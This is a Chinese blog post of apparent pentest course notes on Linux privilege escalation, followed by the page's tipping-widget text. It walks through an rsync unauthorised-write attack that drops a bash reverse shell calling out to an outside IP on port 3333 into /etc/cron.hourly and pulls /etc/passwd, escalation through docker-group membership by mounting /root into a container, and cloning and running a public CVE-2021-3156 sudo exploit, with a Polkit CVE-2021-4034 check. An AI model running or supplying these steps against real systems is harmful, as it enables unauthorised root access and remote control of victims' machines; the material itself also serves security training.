web-105linux权限提升

 rsync未授权本地覆盖

Rsync 是 linux 下一款数据备份工具,默认开启 873 端口
https://vulhub.org/#/environments/rsync/common/
借助 Linux 默认计划任务调用/etc/cron.hourly,利用 rsync 连接覆盖

前提条件就是需要知道rsync的密码或者存在未授权

-提权过程:
1、创建一个 nc 文件,内容
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i
2、赋予执行权限:
chmod +x nc
3、上传nc覆盖定时任务目录下
rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly
3.1、下载文件
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
4、进行 nc 监听相应的端口
nc -lvnp 3333

Docker组用户挂载

前提  本地用户 且本地用户属于docker组  

因为只有是在docker组里面我们才可以进行使用docker的权限 

使用命令 groups 组名来查看 如果不是root权限但是你是docker组里面的你也可以运行docker服务,运行时为sudo也就是root权限,继而进行提权;

-复现:创建用户归类目录,添加到 docker 组
useradd -d /home/test -m test
passwd test
usermod -G docker test
newgrp docker
-利用:
docker run -v /root:/mnt -it alpine
主要的作用是:从 Docker 上面下载 alpine 镜像,然后运行;
-v 将容器外部的目录/root 挂载到容器内部/mnt,使用-it 参数进入容器 shell。

执行后root目录内容会被该再到mnt下 

测试后发现提权所用到的命令其目录并不受限制,可以把 docker run -v /root:/mnt -it alpine

更改为docker run -v /home:/tmp-it alpine  同样提权成功,因为所利用到的只不过是下载一个alpine文件,去使用docker这个功能即可 然后-it提供一个shell环境

SUDO(CVE-2021-3156

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

 

下载exp
git clone https://github.com/blasty/CVE-2021-3156.git
进入目录后编译
cd CVE-2021-3156 
make
给与执行权限
chmod a+x sudo-hax-me-a-sandwich
选择对应的版本并运行
./sudo-hax-me-a-sandwich 1

 选择版本

执行后界面

Polkit(CVE-2021-4034

polkit是什么,是系统预装工具

polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。 

 漏洞版本是2009年之后的所有版本都有,ubuntu的测试查看语句为dpkg -l policykit-1,centos的是rpm -qa polkit  这样来进行查看

没有漏洞

有漏洞

版本漏洞直接下载对应的exp然后编译执行即可

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值